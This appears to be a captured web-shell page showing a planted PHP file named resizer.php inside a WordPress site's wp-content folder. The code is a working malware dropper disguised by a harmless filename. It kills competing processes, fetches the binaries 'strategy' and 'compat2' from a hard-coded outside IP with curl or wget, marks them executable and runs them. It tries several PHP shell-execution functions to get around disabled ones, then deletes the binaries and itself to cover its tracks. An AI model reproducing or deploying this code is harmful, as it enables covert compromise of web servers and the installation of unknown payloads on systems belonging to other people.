HEX
Server: Apache
System: Linux digivps 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC 2025 x86_64
User: root (0)
PHP: 8.3.15
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/healthyton.com/wp-content/resizer.php
<?php
function get($durl, $filename) {
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $durl);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch,CURLOPT_TIMEOUT,20);
	$data = curl_exec($ch);
	if(!$data){
		$data = @file_get_contents($durl);
	}
	file_put_contents('./'.$filename, $data);
}
function made($mcon){
	$result = '';
	if(function_exists('system')){
		ob_start();
		@system($mcon);
		$result = ob_get_clean();
	}elseif(function_exists('exec')){
		@exec($mcon,$result);
		$result = @join("\n",$result);
	}elseif (function_exists('passthru')){
		ob_start();
		@passthru($mcon);
		$result = ob_get_clean();
	}elseif(function_exists('shell_exec')){
		$result = shell_exec($mcon);
	}elseif(is_resource($f = @popen($mcon,"r"))){
		$result = "";
		while(!@feof($f))
			$result .= fread($f,1024);
		pclose($f);
	}
	$type = mb_detect_encoding($result, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5','LATIN1'));
	if($type != 'UTF-8'){
		$result = mb_convert_encoding($result, 'UTF-8', $type);
	}
	return $result;
}
function download($url,$file){
	$a = "curl -o ./".$file." ".$url;
	$b = "curl ".$url." > ./".$file;
	$c = "wget -O ./".$file." ".$url;
	if(function_exists('curl_init')){
		get($url,$file);
		if(!file_exists($file)){
			made($a);
			if(!file_exists($file)){
				made(b);
			}elseif(!file_exists($file)){
				made(c);
			}
		}
	}else{
		made($a);
		if(!file_exists($file)){
			made(b);
		}elseif(!file_exists($file)){
			made(c);
		}
	}
	
}
made("pkill -9 -f stealth");
made("pkill -f -9 stealth");
$e4 = "http://142.4.209.101/strategy";
$e2 = "http://142.4.209.101/compat2";
download($e4,"strategy");
$result = made("chmod +x strategy && ./strategy");
if(strstr($result,"0.31")){
	echo $result;
}else{
	download($e2,"compat2");
	$result2 = made("chmod +x compat2 && ./compat2");
	echo $result2;
}

unlink("./strategy");
unlink("./compat2");
unlink("./resizer.php");